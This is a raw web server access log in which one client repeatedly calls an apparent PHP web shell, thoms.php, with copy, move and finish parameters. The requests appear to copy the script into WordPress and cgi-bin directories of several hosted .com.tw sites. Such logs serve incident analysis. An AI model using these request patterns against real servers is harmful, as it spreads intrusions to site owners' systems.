45.135.193.11 - - [11/Sep/2026:23:49:22 -0400] "GET /thoms.php?copy=thoms.php&p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:22 -0400] "GET /thoms.php?copy=thoms.php&p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:22 -0400] "GET /thoms.php?copy=thoms.php&p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:22 -0400] "GET /thoms.php?copy=thoms.php&p=bioway88.com.tw%2Fupgrade HTTP/1.1" 200 11342 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:22 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:22 -0400] "GET /thoms.php?copy=thoms.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:22 -0400] "GET /thoms.php?copy=thoms.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?copy=thoms.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:22 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17712 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?copy=thoms.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 200 11842 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?copy=thoms.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 200 11389 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?copy=thoms.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?copy=thoms.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?copy=thoms.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17388 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17387 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13339 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13337 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=upgrade HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 500 0 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:23 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:24 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:24 -0400] "GET /thoms.php?copy=thoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:24 -0400] "GET /thoms.php?copy=thoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:24 -0400] "GET /thoms.php?copy=thoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:24 -0400] "GET /thoms.php?copy=thoms.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:24 -0400] "GET /thoms.php?copy=thoms.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:24 -0400] "GET /thoms.php?copy=thoms.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:24 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=big-wife.com.tw HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:24 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:24 -0400] "GET /thoms.php?copy=thoms.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:24 -0400] "GET /thoms.php?copy=thoms.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:24 -0400] "GET /thoms.php?copy=thoms.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:24 -0400] "GET /thoms.php?copy=thoms.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:24 -0400] "GET /thoms.php?copy=thoms.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:24 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:24 -0400] "GET /thoms.php?copy=thoms.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:25 -0400] "GET /thoms.php?copy=thoms.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:25 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:25 -0400] "GET /thoms.php?copy=thoms.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:25 -0400] "GET /thoms.php?copy=thoms.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:25 -0400] "GET /thoms.php?copy=thoms.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:25 -0400] "GET /thoms.php?copy=thoms.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:25 -0400] "GET /thoms.php?copy=thoms.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:25 -0400] "GET /thoms.php?copy=thoms.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:25 -0400] "GET /thoms.php?copy=thoms.php&p=bodbooks.com.tw%2F.well-known HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:25 -0400] "GET /thoms.php?copy=thoms.php&p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:25 -0400] "GET /thoms.php?copy=thoms.php&p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:25 -0400] "GET /thoms.php?copy=thoms.php&p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:25 -0400] "GET /thoms.php?copy=thoms.php&p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:25 -0400] "GET /thoms.php?copy=thoms.php&p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:25 -0400] "GET /thoms.php?copy=thoms.php&p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:25 -0400] "GET /thoms.php?copy=thoms.php&p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:26 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:26 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:26 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:26 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:26 -0400] "GET /thoms.php?copy=thoms.php&p=wp-content%2Fthemes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
